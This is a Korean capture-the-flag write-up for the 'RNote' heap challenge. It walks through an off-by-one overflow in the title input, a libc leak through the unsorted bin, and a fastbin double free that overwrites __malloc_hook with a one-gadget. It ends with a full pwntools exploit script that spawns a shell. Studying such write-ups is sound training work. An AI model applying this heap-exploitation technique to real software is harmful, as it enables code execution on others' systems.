본문으로 바로가기

1. Mitigation 

1
2
3
4
5
6
[*'/home/juntae/ctf/Rctf/Rnote/RNote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
cs

적당적당히 미티게이션이 걸려있다.


2. Analysis

1
2
3
4
5
6
7
8
9
10
ssize_t menu()
{
  write(1"***********************\n", 0x18uLL);
  write(1"1.Add new note\n", 0xFuLL);
  write(1"2.Delete a note\n", 0x10uLL);
  write(1"3.Show a note\n", 0xEuLL);
  write(1"4.Exit\n", 7uLL);
  write(1"***********************\n", 0x18uLL);
  return write(1"Your choice: ", 0xDuLL);
}
cs

간단한 메뉴이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 add()
{
  void *buf; // ST00_8
  int v2; // [rsp+8h] [rbp-8h]
  signed int i; // [rsp+Ch] [rbp-4h]
 
  write(1"Please input the note size: ", 0x1CuLL);
  v2 = read_int();
  if ( v2 > 0x100 )
  {
    write(1"Stop heap abuse!!\n", 0x12uLL);
    exit(0);
  }
  for ( i = 0; i <= 15 && *(&check + 8 * i); ++i )
    ;
  if ( i > 15 )
  {
    write(1"Too much note!!\n", 0x10uLL);
    exit(0);
  }
  memset(&check + 32 * i + 80, 0x10uLL);
  buf = malloc(v2);
  qword_6020F8[4 * i] = buf;
  write(1"Please input the title: ", 0x18uLL);
  input_title(&check + 32 * i + 816);
  write(1"Please input the content: ", 0x1AuLL);
  if ( read(0, buf, v2) < 0 )
    exit(1);
cs

size를 입력받고, title과 content를 입력받는다.

여기서 title은 전역변수에다가 input_tilte함수로 입력받는다.

input_tilte함수는 인자를 

1
input_title(&check + 32 * i + 816);
cs

요렇게 넘긴다.


내부를 보면..

1
for ( i = 0; i <= 15 && *(&check + 8 * i); ++i )
cs

이렇게 <=를 이용하는데, 이거때문에 off by one 취약점이 발생해서 전역변수 맨 끝에 1byte를 변조할 수 있다.


나머지 메뉴는 그냥 free해주고, 출력해주는 메뉴이다.



3. Leak 

0ctf의 babyheap 문제처럼 unsorted bin을 이용해서 main_arena를 leak해서 libc base를 구한다.


1. small size의 chunk를 두개 할당한다.

- 하나만 할당하면 unsorted bin으로 안들어간다.

2. 첫번째로 할당한걸 free한다.

- unsorted bin으로 들어간다.

3. small size의 chunk를 하나 할당한다.

- 이 chunk의 fd,bk는 main_arena + 88을 가르키고있다.

4. show를 이용해 이친구를 출력한다.

- main_arena + 88이 leak된다.



4. Exploit

사실 FULL RELRO가 아니라 got를 덮어도 되긴 한다.

근데 malloc hook덮는게 더 편하다.

그래서 malloc hook을 덮을꺼다.

위에서 설명했듯이 1바이트 오버플로우로 fastbin dup내서 조질꺼당.


1. fastbin 3개 할당.

- chunk들의 title(heap) 부분은 전역변수에서 관리하고, 1byte overflow의로 값을 주작칠 수 있다.

- 2번 index의 힙부분 끝에 1byte를 주작쳐서 0번 인덱스의 주소로 한다.


2. fastbin 3개를 free한다.

- 0번 index를 free하고..

- 1번 index도 free하고..

- 2번 index도 free한다.

- 2번 index는 0번 인덱스의 주소이므로 2번을 free하는것 = 0번을 free하는것이다.

- Double Free Bug가 트리거된다!


3. fastbin을 할당한다.

- context는 malloc_hook - 0x23으로 해준다.

- 이 부분에 0x7f가 적혀있는데, 이 부분을 size로 착각하게 해서 덮이게 하기 위해서이다.

4. fastbin 두개를 더 할당한다.

- 요기까지는 아무일도 일어나지 않는다.

- 하지만 다음에 할당하는 chunk는 malloc_hook - 0x23에 할당된다.

5. fastbin 하나를 더 할당하고, context를 이용하여 oneshot gadget을 덮자.

- 요기부분이 malloc_hook - 23이다.

- 적당히 값을 덮어서 malloc_hook에 oneshot gadget을 덮자.

6. 다음에 말록을 성공하면 쉘이 따인다.



5. Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
 
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
 
= ELF("./RNote")
= process("./RNote")
 
def add(size,title,content):
    r.sendlineafter("Your choice: ","1")
    r.sendlineafter("note size: ",str(size))
    r.sendlineafter("input the title: ",title)
    r.sendlineafter("input the content: ",content)
 
def delete(index):
    r.sendlineafter("Your choice: ","2")
    r.sendlineafter("want to delete: ",str(index))
    
def show(index):
    r.sendlineafter("Your choice: ","3")
    r.sendlineafter("want to show: ",str(index))
 
main_arena = 0x3c4b20
one_gadget = 0xf1147
 
 
add(200,"AAAA","AAAA"#(0)
add(200,"AAAA","AAAA"#(1)
delete(0#go to unsorted bin !!
add(200,"AAAA","AAAA"#and (0)'s fd,bk = main_arena+88
show(0#leak main_arena!!
#we have three chunk (0),(1),(2)
 
r.recvuntil("note content: AAAA\n")
r.recvuntil("\x7f")
 
leak = u64(r.recvuntil("\x7f")[-6:]  + "\x00\x00")
libc_base = leak - (main_arena + 88)
one_gadget = libc_base + one_gadget
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
log.info("leak(main_arena + 88) : " + hex(leak))
log.info("libc_base : " + hex(libc_base))
log.info("oneshot gadget : " + hex(one_gadget))
log.info("malloc hook : " + hex(malloc_hook))
 
delete(0)
delete(1)
delete(2)
#(X),(X),(X)
 
add(96,"AAAA","AAAA")
add(96,"BBBB","BBBB")
add(96,"C"*16+"\x10","CCCC"#overflow (2) point to (0)
#(0),(1),(2)
 
delete(0)
delete(1)
delete(2#same delete(0)
 
add(96,"AAAA",p64(malloc_hook-0x23)) #fastbin dup
add(96,"BBBB","BBBB")
add(96,"CCCC","CCCC")
add(96,"DDDD","D"*19 + p64(one_gadget)) #malloc in malloc_hook-0x23
 
r.sendlineafter("Your choice: ","1")
r.sendlineafter("note size: ","1")
 
r.interactive()
cs

확실히 한문제 라업보고 빡공하니까 이번문제는 이해가 잘간다.

이제 어느정도 fast bin dup이랑 unsorted bin은 이해가 간거같다.